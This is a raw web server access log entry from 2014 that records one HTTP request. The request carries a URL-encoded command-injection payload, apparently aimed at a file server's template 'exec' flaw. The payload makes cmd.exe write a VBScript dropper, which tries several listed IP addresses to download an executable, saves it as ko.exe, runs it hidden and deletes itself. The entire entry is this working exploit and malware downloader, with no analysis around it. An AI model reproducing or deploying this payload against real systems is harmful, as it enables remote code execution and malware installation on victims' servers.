- - [22/Sep/2014:13:54:24 -0600]
"GET /?search==%00{.exec|cmd.exe
+%2Fc
+echo%3E22222.vbs
+dim
+wait%2Cquit%2Cout%3ASet
+xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3ASet
+WshShell
+%3D+Wscript.CreateObject%28%22WScript.Shell%22%29
+%3ADS%3DArray%28%22
123.108.109.100
%22%2C%22
123.108.109.100
%3A53%22%2C%22
123.108.109.100
%3A443%22%2C%22
178.33.196.164
%22%2C%22
178.33.196.164
%3A53%22%2C%22
178.33.196.164
%3A443%22%29%3Afor
+each
+Url
+in
+DS%3Await%3Dtrue%3Aquit%3Dfalse%3AD%28Url%29%3Aif
+quit
+then%3Aexit
+for%3Aend
+if%3Anext%3ASub
+D%28Url%29%3Aif
+IsObject%28xml%29%3Dfalse
+then%3ASet+xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3Aend
+if
+%3Axml.Open
+%22GET%22%2C%22http%3A%2F%2F%22%5E%26Url%5E%26%22%2Fgetsetup.exe%22%2CTrue%3Axml.OnReadyStateChange%3DGetRef%28%22xmlstat%22%29%3Aout%3DNow%3Axml.Send%28%29%3Awhile%28wait
+and
+60%5E%3Eabs%28datediff%28%22s%22%2CNow%2Cout%29%29%29%3Awscript.sleep%281000%29%3Awend%3AEnd
+Sub%3Asub
+xmlstat%28%29%3AIf+xml.ReadyState%5E%3C%5E%3E4
+Then%3Aexit
+sub%3Aend
+if%3Await%3Dfalse%3Aif
+xml.status%5E%3C%5E%3E200
+then%3Aexit
+sub%3Aend
+if%3Aquit%3Dtrue%3Aon
+error
+resume
+next%3Aset
+sGet%3DCreateObject%28%22ADODB.Stream%22%29%3AsGet.Mode%3D3%3AsGet.Type%3D1%3AsGet.Open%28%29%3AsGet.Write+xml.ResponseBody%3AsGet.SaveToFile+%22ko.exe%22%2C2%3AEnd
+sub%3AWshShell.run
+%22ko.exe%22%2C0%2C0%3ASet
+fso
+%3DCreateObject%28%22Scripting.Filesystemobject%22%29
+%3Afso.DeleteFile%28WScript.ScriptFullName%29+%26+cscript+22222.vbs.}
HTTP/1.1" 200 4814